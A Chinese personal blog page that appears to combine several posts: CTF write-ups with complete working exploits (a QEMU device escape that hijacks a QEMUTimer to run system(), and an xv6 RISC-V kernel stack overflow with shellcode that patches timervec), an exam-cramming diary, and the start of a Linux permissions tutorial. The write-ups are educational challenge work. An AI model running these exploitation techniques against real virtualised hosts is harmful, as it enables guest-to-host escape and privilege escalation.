0%

我总是觉得基于hexo的博客更新起来并不是很方便,所以仿照某位同学又搭了一个新的站点,用来存放我的笔记。入口就在顶部的导航栏里,叫做Notes

以后博客站点就用来放一些文章、杂记、随笔之类的东西了。

第一次从qemu里面逃出来,但没有完全逃出来,远程没通比赛就结束了S.H.I.T

题目链接:xtxtn/vnctf2024-escape_langlang_mountain2wp (github.com)

关于qemu pwn入门,网上中文资料非常多:

环境与调试

理想的环境是 qemu 内的系统有 ssh,这样就可以直接连上去,甚至使用 scp 传 payload,但是这题没有。
我采用的调试方法是在 Dockerfile 中加一个 gdb,这样就可以在 docker 中调试,但是最佳的调试方法应该是往 docker 里面塞一个 gdbserver,然后用主机的 gdb attach 上去,这样就可以使用主机里的插件。

漏洞分析

题目实现设备提供了 vn_mmio_readvn_mmio_write 两个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __fastcall vn_mmio_read(const char ****a1, __int64 a2)
{
int v3; // [rsp+2Ch] [rbp-14h]
__int64 v4; // [rsp+30h] [rbp-10h]

v4 = (__int64)object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 21u, "vn_mmio_read");
if ( a2 == 0x10 )
{
return *(int *)(v4 + 0xB80);
}
else if ( a2 == 32 )
{
return *(int *)(*(int *)(v4 + 0xB80) + 0xB40LL + v4);
}
return v3;
}

object+0xb80 用来保存一个偏移,该函数可以根据缓冲区的相对偏移读数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __fastcall vn_mmio_write(const char ****a1, unsigned __int64 a2, unsigned __int64 a3)
{
__int64 v5; // [rsp+30h] [rbp-10h]

v5 = (__int64)object_dynamic_cast_assert(a1, "vn", "../qemu-8.1.4/hw/misc/vnctf.c", 42u, "vn_mmio_write");
if ( a2 == 48 )
{
if ( !*(_DWORD *)(v5 + 0xB84) )
{
*(_DWORD *)(v5 + *(int *)(v5 + 0xB80) + 0xB40LL) = a3;// 一次int范围内任意写
*(_DWORD *)(v5 + 0xB84) = 1;
}
}
else if ( a2 <= 0x30 )
{
if ( a2 == 16 )
{
if ( (int)a3 <= 60 )
*(_DWORD *)(v5 + 0xB80) = a3;
}
else if ( a2 == 32 && HIDWORD(a3) <= 0x3C )
{
*(_DWORD *)(v5 + HIDWORD(a3) + 0xB40) = a3;
}
}
return;
}

write 中提供了三个功能:

  • addr==16:设置 0xB80 处的偏移变量
  • addr==32:正常的 Buffer 内读写(0x40 大小空间,没有越界)
  • addr==48:根据偏移变量写入数据(仅限一次)

在检查偏移变量的大小时,由于检查类型是 signed,因此可以把偏移修改为一个负数。于是我们就可以有无限次的任意相对地址读,以及一次任意相对地址写入。

漏洞利用

整体思路:

  1. 在设备 Object 结构体内寻找堆地址和程序地址并泄露
  2. 从 main_loop_tlg 泄露出第二个 timerlist 的地址
  3. 在设备 Buffer 中伪造 QEMUTimer 结构体
  4. 劫持 timerlist 的 active_timers 指针为伪造的结构体

地址泄露

由于我第一次打 qemu pwn,对于其中各种结构体都比较陌生,所以我直接用本办法,在动态调试的时候查看 Buffer 前面的数据,从里面找到可以泄露的指针。(从而给后面本地打得通远程打不通埋下了伏笔)

在不清除结构体信息的情况下,找泄露的时候需要注意一些查找要点:

  • 泄露程序基地址时,随便找一个指向程序某地址的指针泄露就行了;
  • 泄露堆地址时要注意,不同环境之间的堆环境可能不一样,因此在寻找时(假设我们想要泄露设备 Buffer 的地址):
    • 最佳的泄露用指针是和 Buffer 处于同一个结构体中的指针
    • 其次是和 Buffer 所在结构体位置相近的指针,越相近越好
  • 计算堆基址并没有什么用

根据这种方法可以找到两个指针,然后泄露即可。

当然,如果你是一位对设备的 Object 结构体比较熟悉的 qemu pwn 大师,那么你就可以直接泄露结构体的某些字段来泄露程序和堆的地址。具体来说,可以通过 MemoryRegion 结构体:

1
2
3
4
5
6
7
8
9
10
11
struct MemoryRegion {
...
...
DeviceState *dev;

const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container;
...
...
}

其中,ops 指向 data 段的 vn_mmio_opsopaque 更是指向 vn 的设备结构体,因此泄露这两个指针就可以准确泄露地址,不用担心什么偏移不一样的问题。

控制流劫持

在网上可以找到的大部分 pwn 题中,设备本身就有一些函数指针,劫持它们就可以劫持控制流(甚至参数),但本题的设备就是单纯的读和写,并没有什么 encoderand 之类的函数。因此,本题需要一个通用的控制流劫持方法。

在 Qemu 中,可以通过注册一个 QEMUTimer 来让 qemu 在一段时间间隔之后调用一个函数,参数为一个 opauqe 指针。相关结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int scale;
};

struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;
QemuEvent timers_done_ev;
};

从内存视角看两个结构体长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void *timer_list;
void *cb;
void *opaque;
void *next;
int scale;
};

struct QEMUTimerList {
void * clock;
char active_timers_lock[0x38];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; /* next element */ \
struct QEMUTimerList **le_prev; /* address of previous next element */ \
void *notify_cb;
void *notify_opaque;

/* lightweight method to mark the end of timerlist's running */
size_t timers_done_ev;
};

在 bss 段有一个数组 main_loop_tlg[4],保存了一些 QEMUTimerList 结构体指针,每个 active_timers 都指向一个由 QEMUTimer 结构体组成的链表。qemu 会遍历这些 QEMUTimerList 来检查所有 QEMUTimer 有没有超时并调用它们的 callback 函数(也就是调用 timer->cb(timer->opaque),相关源码见qemu-timer.c - util/qemu-timer.c - Qemu source code (v4.2.1) - Bootlin)。

因此,我们可以在通过 main_loop_tlg 泄露某个 timerlist 的地址后,劫持它的 active_timers 指针并伪造一个 QEMUTimer 结构体,从而控制程序调用函数以及参数。

伪造 QEMUTimer 时,可以这样写:

1
2
3
4
5
6
timer->expire_time = 0x114514;
timer->timer_list = 对应的timer_list地址;
timer->cb = system@plt;
timer->opaque = "cat flag";
timer->next = null;
timer->scale = 0x100000000;

这样程序就会在 0x114514 纳秒之后调用 system("cat flag")

该方法主要参考了:

EXP 脚本

没有在在线环境下试过这个脚本,不过猜测在线问题不大==。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#define _GUN_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t *)(mmio_mem + addr));
}
uint32_t mmio_write(uint64_t addr, uint64_t value)
{
return *((uint32_t *)(mmio_mem + addr)) = value;
}

uint64_t buffer_write(uint64_t index, uint32_t value)
{
return *((uint64_t *)(mmio_mem + 32)) = (index<<32) | value;
}


int main(int argc ,char **argv, char **envp)
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0){
puts("open mmio failed");
exit(-1);
}

mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED){
puts("mmap failed !");
exit(-1);
}

uint64_t prog_base = 0;

mmio_write(16, -0x88);
prog_base += mmio_read(32) - 0x82b35b;
mmio_write(16, -0x84);
prog_base |= ((uint64_t)mmio_read(32))<<32;

printf("[*]prog_base: 0x%lx\n", prog_base);

uint64_t heap_base = prog_base & ~(uint64_t)0xffffffff;
mmio_write(16, -2808);
heap_base += mmio_read(32) - 192;
uint64_t buf_addr = heap_base;
printf("[*]buffer: 0x%lx\n", buf_addr);

// leak timer
uint64_t main_loop_tlg = prog_base + 0x14B9480;
mmio_write(16, main_loop_tlg+8-buf_addr);
uint64_t timer_list = (prog_base&(~(uint64_t)0xffffffff)) + mmio_read(32);
uint64_t timer_ptr = timer_list + 0x40;

printf("[*]timer_list: 0x%lx\n", timer_list);

// fake timer
uint64_t system_plt = prog_base + 0x312040;

buffer_write(0, 0x114514);
buffer_write(8, timer_list&0xffffffff);
buffer_write(12, timer_list>>32);
buffer_write(16, system_plt&0xffffffff);
buffer_write(20, system_plt>>32);
buffer_write(24, (buf_addr+0x30)&0xffffffff);
buffer_write(28, (buf_addr+0x30)>>32);
buffer_write(44, 1);
buffer_write(48, 0x20746163); // cat\x20
buffer_write(52, 0x67616c66); // flag
buffer_write(56, 0); // \0

// 劫持 target
int offset = timer_ptr - buf_addr;
printf("[-]offset: %d\n", offset);
mmio_write(16, offset);
mmio_write(48, buf_addr&0xffffffff);

return 0;
}

这里记录从 12.05 开始,我如何尝试实践各种方法来完成各种期末任务。
希望自己能做到高效应试!

主要依靠的资源包括:

背景&结果

我在本学期中选课情况、期末时掌握情况和等地如下:

课程名称 学分 考试方式 考试时间 掌握情况 等地
概率论与数理统计 4 闭卷 2024-01-02 前三章略懂,课全翘了 B
计算机病毒及其防治 2 闭卷 2023-12-18 课全翘了 B
信息内容安全 2 闭卷 2023-12-20 课全翘了 B
操作系统 3 闭卷 2023-12-28 课全翘了,懂一些基础 A
计算机取证 2 闭卷 2023-12-21 课全翘了 A
无线网络及安全 3 开卷 2023-12-22 课全翘了 A-
信息系统安全 3 闭卷 2023-12-18 掌握还行 A
物理学的新启示 1 论文 课全翘了 P
马克思主义基本原理 3 开卷 2023-12-19 上了一些课 B+

注意到其中有八个学分的 B,我认为我自己已经尽力了,但这些困难是很难克服的客观原因。一个是绝对成绩给分(我考完才知道,气死了);一个是考一堆超纲考题,这些超纲的题还是选了别的课的同学会做的;一个是课程难度比别的班都要高,速通确实很难搞定(但选别的班就完全能搞定了艹)。

接下来会按照课程顺序来划分章节。


概率论与数理统计 4 B

考试

概率论虽然我的目标是 B+,但我认为是最难的一个考试了。为此,我一开始准备选择首先用猴博士速通,然后进入补刷作业题与对应知识点补齐环节,但是后来发现实际的准备时间只有三天左右……

我的复习就是在去年的卷子(来自开放题库)、猴博士的视频以及教材之间来回切换。我是否要学习教材上的内容取决于去年的卷子有没有考到相关内容、猴博士的视频有没有出现相关内容、以及课后布置的作业相关度。于是在省略了很多内容没有复习的情况下,终于在三天内学完了大部分概率论。
关于最后一两章,由于有太多需要背诵的内容,所以就直接不复习了。

最后考试的时候发现,和去年的卷子几乎考得一模一样,所以我准备的都做出来了,混了个 B。

我觉得如果我们班级和别的班考纲一样的话,我能混个 B+。郭大爷这教得也太多了,作业也多,不愧是高级概率论……


计算机病毒及其防治 2 B

课程 PJ

花了一天,借用 DOSBox 的力量速通了。

考试

最后一节课老师说了考试重点,都是死记硬背,没有需要理解的东西。
周一的考试,周六把需要背的东西整理出了一个 word 文档,大概花了两三个小时;周日再复习了一下,手抄了其中部分感觉会考的东西。

考试估分 90+ 肯定有,据老师说 A 类要考 85 以上,考虑到我平时分是 3/10 分的话(就没上过课),理论上我拿 A 类需要 95 以上。所以估计还是 B+ 吧。

然后最后是 B,因为老师按照绝对分给分。当时我为什么想不开选这个课呢,真是依托答辩……


信息内容安全 3 B

课程 PJ

我在组内负责了数据清洗以及部分可视化任务,非常非常边缘,真的感谢队友大佬orz。
数据清洗继承了学长的 PJ 代码,进行了优化重构,把写得稀烂的正则表达式简化了一大截(主要用于知乎)。

1
2
3
4
5
6
7
8
9
def wash(content):
content = re.sub(r'<sup[^>]*>.*<\/sup>', "", content)
content = re.sub(r'<span[^>]*>.*<\/span>', "", content)
content = re.sub(r'<figure[^>]*>.*<\/figure>', "", content)
content = re.sub(r'<[^>]*>', " ", content)
content = re.sub(r'\s+', " ", content)
content = html.unescape(content)
content = content.lower()
return content

可视化任务,我使用官方 GPTs Data Analysis 进行辅助,效率惊人,只需要拖入 json 文件并指定需求就可以由 AI 自动写代码进行读取文件、可视化的代码编写和执行,比如下面代码完全由 GPT 生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import json

# Define the file paths
file_paths = {
"zhihu_over_time": "./zhihu_gender_over_time.json",
"zhihu_overall": "./zhihu_gender_overall.json",
"bilibili_over_time": "./bilibili_gender_over_time.json",
"bilibili_overall": "./bilibili_gender_overall.json"
}

# Load the data from each file
data = {}
for key, path in file_paths.items():
with open(path, 'r') as file:
data[key] = json.load(file)

import matplotlib.pyplot as plt
import pandas as pd


# Convert the 'Zhihu Over Time' data into a DataFrame
zhihu_over_time_df = pd.DataFrame(data["zhihu_over_time"]).T
zhihu_over_time_df.index = pd.to_datetime(zhihu_over_time_df.index)

# Plotting the time series data
plt.figure(figsize=(12, 6))
plt.plot(zhihu_over_time_df, marker='o')
plt.title('Zhihu Gender Distribution Over Time')
plt.xlabel('Date')
plt.ylabel('Count')
plt.legend(zhihu_over_time_df.columns, title='Gender Categories')
plt.grid(True)
plt.savefig("./zhihu_gender_over_time.svg")

考试

老师在最后一节课上划了期末重点,根据该重点和去年的卷子(lyr 天使!)复习。资料是一本纸质教材。

主要难题在于,复习时间只有一个晚上,第二天早八就考试了。这一部分复习没办法依靠 AI 了,主要依靠人类的力量速通!!

然后发现这门课考试真的离谱,考点都不考,重点全是说不考的。最后一章说是不考数学模型只要理解原理,结果考了个 26 分的压轴计算题。
听朋友说有很多同学哗哗写完了,应该是在别的课学过公式。但是这门课没教具体算法啊!!! 书上和 PPT 上都没有,我算得来才怪了。

最后遗憾拿 B,死因就是卷子实在是出得太逆反了,我认为我的复习很完美没啥问题了……


计算机取证 2 A

课程 PJ

我们做的是基础取证工具接入 GPT 智能判断功能,以及基本的数据关联。
基础的取证功能有
使用 GPT 生成基础代码框架和核心功能后,使用 copilot 速通 UI 编写。几小时就速通了。

考试

花了几个小时复习 PPT 。

最后闹出了乌龙,由于我 PPT 是 11 月下的,那时候老师还没传全,所以我漏看了整整 1/4 的 PPT。怪不得考试的时候碰到好多不会的……不过还是拿了 A。


操作系统 3 A

考试

考前老师划了一些重点,还放了个 429 页的复习 PPT……
根据重点和 PPT 进行复习,时间在三天左右。

最后熬了个大夜,终于速通完了那个 PPT,然后把四个往年卷子都看了一下。考试的时候感觉不错,没啥不会的题目,果然拿了 A。


无线网络及安全 3 A-

课程 PJ

准备课程 PJ 的时候,留给我的只剩下一天+一个晚上了,这个时候正好看到 G.O.S.S.I.P 公众号上发了一篇蓝牙的综述性文章介绍,然后就放弃了实验,写了一个论文阅读笔记一类的报告。

考试(开卷)

根据课件和去年卷子(感谢 wqh 天使)进行复习。
这确实是一门硬课,所以我的目标是在有限的时间内大致过一下课件,达到知道什么去哪里找的水平之后,将课件整理成便于打印的格式,现场查阅和学习。

考试的时候所有的题都写出来了,开卷考确实还是对记忆力差的人比较友好。


信息系统安全 3 A

考试

虽然翘课翘了很多,但由于已经对所学知识有所了解,所以选择了速通所有课件并做往年卷子的方法。去年的卷子在开放题库上找到了。

大概花了一天进行速通,知识点和需要记得其实并不多。技巧性的东西集中在栈溢出相关知识,这些我本来就会,毕竟课后时间都花在这上了。

考试一小时速通了,估分满分。


马克思主义基本原理 3 B+

观后感

看了四集之后,用 GPT 生成了一段读后感,然后从看得几集里面加了几个例子进去,再加了几句自己的感想。

论文征文

GPT 半小时速通,虽然质量狗屎。
为了解决没有引用的问题,让 GPT 帮我加了一些例子,然后我去手动给这些例子寻找引用。比如引用什么国家统计局数据。

考试(开卷)

没啥好说的,就瞎写写。没复习。


物理学的新启示 1 P

课程报告

GPT-4 支持直接阅读课件。我将每个老师的课件转换为大小较小的 PDF 格式,并扔给 GPT 进行总结。注意为了凑字数,需要一个问题一个问题问 GPT,不能让它一次答全。
最后花了大概两三个小时速通。


总结

确实是非常累,不过感觉我能做的都已经做了,结局也还算满意。不过要是这个学期选课的时候能多获得一些信息的话就更好了。

哈哈,第一次打内核题,虽然是xv6但还是感觉非常酷。比赛结束前才想到了真的可行的思路,赛后结合官方 writeup 调出来了。(本篇博客没有写调试的技巧,就只写了题目相关的一些思路。)

程序分析

本程序由教学操作系统 xv6 改编而来,是一道 RISC-V 内核漏洞利用题。
在 xv6 中,没有地址随机化机制。但有着页表权限保护,也就是 R/W/X 权限位;并且在 xv6 通过 ecall 进入 supervisor mode 时,会将页表切换到内核页表,从而屏蔽对于用户内存地址的访问。

题目的目标是读出位于内核的数据段中的 flag,出题人贴心地给出了一个 backdoor 函数来帮我们读出 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:000000008000620C                 # public backdoor
.text:000000008000620C backdoor:
.text:000000008000620C
.text:000000008000620C var_s0 = 0
.text:000000008000620C var_s8 = 8
.text:000000008000620C arg_0 = 10h
.text:000000008000620C
.text:000000008000620C addi sp, sp, -10h
.text:000000008000620E sd ra, var_s8(sp)
.text:0000000080006210 sd s0, var_s0(sp)
.text:0000000080006212 addi s0, sp, arg_0
.text:0000000080006214 li a0, 80008860h
.text:0000000080006220 lui a1, %hi(10000000h)
.text:0000000080006224 li a2, 0
.text:0000000080006226 li a3, 20h # ' '
.text:000000008000622A
.text:000000008000622A loop: # CODE XREF: backdoor+2A↓j
.text:000000008000622A lb a4, 0(a0)
.text:000000008000622E sb a4, %lo(10000000h)(a1)
.text:0000000080006232 addi a0, a0, 1
.text:0000000080006234 addi a2, a2, 1
.text:0000000080006236 blt a2, a3, loop
.text:000000008000623A la a0, aHeyHereIsYourF # "Hey, here is your flag"
.text:0000000080006242 call panic
.text:0000000080006242 # End of function backdoor

但不幸的是,内核中为 flag 所处的内存提供了额外的 PMP(Physical Memory Protection)保护,这里只是简单介绍一下用途,具体细节可以去阅读 RISC-V 特权手册(riscv/riscv-isa-manual: RISC-V Instruction Set Manual)的对应章节(位于 Machine-Level ISA, Version 1.12 中)。

在 RISC-V 中有三种权限等级:通常机器启动时处于 machine mode、内核运行在 supervisor mode、用户程序运行在 user mode
PMP 是一种由 machine mode 进行设置和修改的保护,可以给某段内存设置可读、可写、可执行等权限,并对 supervisor modeuser mode 生效。

start 函数中,内核为 flag 所在内存添加了不可读、不可写、不可执行的权限保护:

1
2
3
4
5
6
7
8
9
10
.text:00000000800000D8                 la              a5, flag # "HITCTF2023{true_flag_on_server}"
.text:00000000800000E0 srli a5, a5, 2
.text:00000000800000E2 ori a5, a5, 3
.text:00000000800000E6 csrw pmpaddr0, a5
.text:00000000800000EA csrw pmpaddr1, a4
.text:00000000800000EE li a5, -1
.text:00000000800000F0 srli a5, a5, 0Ah
.text:00000000800000F2 csrw pmpaddr2, a5
.text:00000000800000F6 li a5, 0F0018h
.text:00000000800000FC csrw pmpcfg0, a5

因此,就算我们直接在内核中调用 backdoor 函数,也只能看到一个报错而不是 Flag。(做题的时候以为马上出 flag 了,然后就遇到了禁止访问的报错,一时很难绷住)
我们想要读出 flag,就一定需要处于 machine mode 中,或者在 machine mode 中将保护关闭,但可以通过搜索 pmpaddr 的方法发现程序本身并没有提供关闭保护的功能(

漏洞分析

第一个比较明显的漏洞,就是新添加的系统调用 sys_encrypt 中存在的栈溢出漏洞,官方 wp 中提供的函数源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
uint64 sys_encrypt(void){  
char buffer[256];
char key[256];
uint l = 0;
const char* src;
uint srclen;
char* dst;
uint dstlen;
const char* keyva;
uint keylen;
struct proc *p = myproc();
argaddr(0, (uint64*)&src);
argint(1, (int*)&srclen);
argaddr(2, (uint64*)&dst);
argint(3, (int*)&dstlen);
argaddr(4, (uint64*)&keyva);
argint(5, (int*)&keylen);
keylen = keylen < 256? keylen: 256;
copyin(p->pagetable, key, (uint64)(keyva), keylen);
while(l < srclen){
uint len_in_round = 0;
// copy in src. stack overflow here
while(len_in_round < 256 && len_in_round < srclen){
copyin(p->pagetable, buffer + len_in_round, (uint64)(src + len_in_round), keylen);
len_in_round += keylen;
}
for(uint i = 0; i < len_in_round; i++){
buffer[i] ^= key[i % keylen];
}
copyout(p->pagetable, (uint64)(dst + l), buffer, len_in_round);
l += len_in_round;
}
return 0;
}

虽然函数的第一个 copyin 处对大小作了检查与限制(0x100),但第二个循环 copyin 很容易就会导致溢出。只要合理构造参数,我们就可以通过 bufff 溢出到高位。

第二个漏洞是页表的权限保护不当问题,原版 xv6 是没有这个问题的,而作者为了让题目能打所以手动改出了一些漏洞。

首先是内核代码可写。映射内核页表的代码位于 vm.c-kvmmake() 中,本来是长这样的:

1
2
3
...
kvmmap(kpgtbl, KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_X);
...

经过魔改后变成了这样(C 以及对应汇编):

1
kvmmap(kpgtbl, KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_W | PTE_X);
1
2
3
4
5
6
7
8
.text:00000000800011FA                 la              s2, etext
.text:0000000080001202 li a4, 1110b
.text:0000000080001204 la a3, 8000h
.text:000000008000120C li a2, 1
.text:000000008000120E slli a2, a2, 1Fh
.text:0000000080001210 mv a1, a2
.text:0000000080001212 mv a0, s1
.text:0000000080001214 call kvmmap

其次是进程内核栈可执行,代码位于 proc.c 中,原来长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Allocate a page for each process's kernel stack.
// Map it high in memory, followed by an invalid
// guard page.
void
proc_mapstacks(pagetable_t kpgtbl)
{
struct proc *p;

for(p = proc; p < &proc[NPROC]; p++) {
char *pa = kalloc();
if(pa == 0)
panic("kalloc");
uint64 va = KSTACK((int) (p - proc));
kvmmap(kpgtbl, va, (uint64)pa, PGSIZE, PTE_R | PTE_W);
}
}

经过魔改后变成了这样(伪代码以及汇编):

1
kvmmap(kpgtbl, va, (uint64)pa, PGSIZE, PTE_R | PTE_W | PTE_X);
1
2
3
4
5
.text:00000000800018CA                 li              a4, 1110b
.text:00000000800018CC lui a3, 1
.text:00000000800018CE sub a1, s2, a1
.text:00000000800018D2 mv a0, s3
.text:00000000800018D4 call kvmmap

因此,结合 xv6 没有随机化的特性,我们可以在栈上打 shellcode,且连 NOP Sled 都不用嘿嘿。

漏洞利用

最初的步骤:如何构造 sys_encrypt 参数、以及劫持返回地址、以及栈上的 shellcode 执行略去不表(算一下调一下就好 hhhh)。这里就假设我们已经可以任意执行代码了。

为了绕过 PMP 保护,我想到了几种思路:

找到未被保护的Flag

由于 Flag 是硬编码在 kernel 文件中的,因此我首先想到的办法是泄露服务器端的 kernel 文件。但是 xv6 在生成文件系统的时候,并不会将 kernel 放在里面。
我们使用 qemu 启动 xv6 时直接指定了编译好的 kernel,qemu 会把 kernel 直接加载到内存中。

所以在 xv6 系统内,内核只存在于内存中且独一无二,这种方法被证实是不行的(

RESET

在阅读 RISC-V 手册时,我注意到在 machine mode 中有一个小章节介绍了 Reset 。此时我已经发现了内核代码是可修改的,因此我想到的办法就是将 start 函数中对 flag 施加保护的代码覆写为 nop ,然后进行重启,这样重启后的系统就不会再有对 flag 的保护。

重启并不是 CPU 负责的事(CPU 负责的都是计算),准确来说并不是一个指令集所关心的事情。通常,重启是通过 CPU 向主板设备发送信号来完成的。
在题目环境中,启动 qemu 时指定使用的主板是 virt ,一个只具有最基础功能的主板,其描述见 ‘virt’ Generic Virtual Platform (virt) — QEMU documentation

如何知道这个设备能否重启、如何重启呢?反正上面这个文档里我没找到(悲)。
我在 qemu 的源码中找到了该主板设备负责注册重启功能的函数:qemu/hw/riscv/virt.c at master · qemu/qemu (github.com),具体来说是如下几行:

1
2
3
4
5
6
7
8
9
10
11
12
13
qemu_fdt_setprop_cells(ms->fdt, name, "reg",
0x0, memmap[VIRT_TEST].base, 0x0, memmap[VIRT_TEST].size);
qemu_fdt_setprop_cell(ms->fdt, name, "phandle", test_phandle);
test_phandle = qemu_fdt_get_phandle(ms->fdt, name);
g_free(name);

name = g_strdup_printf("/reboot");
qemu_fdt_add_subnode(ms->fdt, name);
qemu_fdt_setprop_string(ms->fdt, name, "compatible", "syscon-reboot");
qemu_fdt_setprop_cell(ms->fdt, name, "regmap", test_phandle);
qemu_fdt_setprop_cell(ms->fdt, name, "offset", 0x0);
qemu_fdt_setprop_cell(ms->fdt, name, "value", FINISHER_RESET);
g_free(name);

从这里的代码我们可以大致猜到,映射所采用的是 mmio 方法,地址 VIRT_TEST 偏移 0 处,如果写入 FINISHER_RESET 的话就可以进行重启。借助 Github 右栏的引用查找功能,不难找到 VIRT_TEST 的值为 0x100000FINISHER_RESET 的值为 0x7777。

经过测试,确实可以通过这个方法来 reset 机器。但是我悲伤地发现在 reset 之后,我对内核代码做的修改也一起 reset 了。看来 qemu 每次 reset 都会重新加载一遍 kernel 文件啊。

修改 timervec

在测试完上面那种方法不可行后,我就想到了这个方法,但此时离结束比赛只剩下半小时,因此非常可惜没有做完。(后来看官方的 wp 又得知了一些 trick,说不定我自己调也还要调半天)

既然 PMP 只有 machine mode 可以操控或无视,那么我们的目标就是想方设法进入 machine mode。
正好,xv6 对于 timer interrupt 的处理是位于 machine mode 中的。具体来说,会在 start 函数中调用 timerinit,来将 timervec 函数注册到 mtvec 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// arrange to receive timer interrupts.
// they will arrive in machine mode at
// at timervec in kernelvec.S,
// which turns them into software interrupts for
// devintr() in trap.c.
void
timerinit()
{
...

// set the machine-mode trap handler.
w_mtvec((uint64)timervec);

// enable machine-mode interrupts.
w_mstatus(r_mstatus() | MSTATUS_MIE);

// enable machine-mode timer interrupts.
w_mie(r_mie() | MIE_MTIE);
}

因此,实际上内核在启动进入 supervisor mode 之后,唯一使用 machine mode 执行的代码就是这个 timervec 函数了,实现位于 kernelvec.S 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.globl timervec
.align 4
timervec:
# start.c has set up the memory that mscratch points to:
# scratch[0,8,16] : register save area.
# scratch[24] : address of CLINT's MTIMECMP register.
# scratch[32] : desired interval between interrupts.

csrrw a0, mscratch, a0
sd a1, 0(a0)
sd a2, 8(a0)
sd a3, 16(a0)

# schedule the next timer interrupt
# by adding interval to mtimecmp.
ld a1, 24(a0) # CLINT_MTIMECMP(hart)
ld a2, 32(a0) # interval
ld a3, 0(a1)
add a3, a3, a2
sd a3, 0(a1)

# arrange for a supervisor software interrupt
# after this handler returns.
li a1, 2
csrw sip, a1

ld a3, 16(a0)
ld a2, 8(a0)
ld a1, 0(a0)
csrrw a0, mscratch, a0

mret

这是一个会不定期被触发的、位于 machine mode 中的函数,这个函数的实现位于内核中,且是可以修改的
所以我们劫持这个函数调用 backdoor,就可以让 backdoor 函数在 machine mode 被执行了,从而打印出 Flag。

(这里本来脑子没转过来,想的是让 timervec 把 PMP 给关了,然后我自己调用 backdoor,但这种方法增加了复杂度,不如直接调用 backdoor 简洁)

此外还有一个注意点,就是在进入 timervec 之后,需要使用 csrw mie, x0 (machine-mode interrupt enable)来关闭 machine mode 的各种中断。否则,在读 flag 读一半触发这个中断就不好了。(看官网 wp 学到的)

我的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user/user.h"

/* hijack timervec:
* 30401073 csrr mie,x0 (disable timer interrupt)
* 00060067 jr a2
*/

uint32 a1[0x140/4] = {
0x00040637, // li a2, 0x80006214
0x0036061b,
0x00d61613,
0x21460613,

0x00040537, // li a0, 0x80005BF0
0x0035051b,
0x00d51513,
0xbf050513,

0x304015b7, // li a1, 0x30401073
0x0735859b,
0x00b53023, // sd a1, (a0)
0x00450513, // addi a0, a0, 4

0x000605b7, // li a1, 0x00060067
0x0675859b,
0x00b53023, // sd a1, (a0)

0x0000006f, // infinte loop
};
char a3[0x140];
char a5[0x100] = {0};

int main()
{
*(long*)(&a1[0x138/4]) = 0x3fffff9e80; // ra = 0x3fffff9e80 shellcode
encrypt((char*)a1, 0x100, a3, 0, a5, 0xa0);

return 0;
}

另外还有一个坑,就是 backdoor 函数前 N 句汇编是一些栈相关操作,我们需要跳过这几句汇编。否则内核会卡住不动!太坑了!

Linux系列第一篇!
本期介绍Linux中的权限模型,从 ls -l 的解释一路科普到内核漏洞的利用(什么!)


由于 Linux 设计时是一个多用户系统,可能有很多人共用一个 Linux 系统,因此 Linux 中存在用户用户组的概念,每个用户或者用户组都有一个自己的 id,每个用户可以属于多个用户组。
有了用户之间的区分,就可以为文件设置权限,限制不应该访问的用户的访问,于是就有了权限系统。

用户和用户组这两个抽象的概念,其实主要体现在两个地方:

  • 进程系统:每个进程都有自己所属的用户和用户组
  • 文件系统:每个文件都有自己所属的用户和用户组,以及相应的读写权限设置

可以使用 getuid() 系列系统调用获取当前进程的用户 id,在 shell 里可以直接输入 id 查看当前 shell 进程的用户和用户组 id。(这里先不提及 id 的区别,后面再进行讲解)

文件系统中的权限模型

使用命令 ls -l 可以查看文件的详细信息,比如:

1
2
3
4
5
$ ll
drwxr-xr-x 4 cameudis cameudis 4096 Mar 24 2023 .cargo/
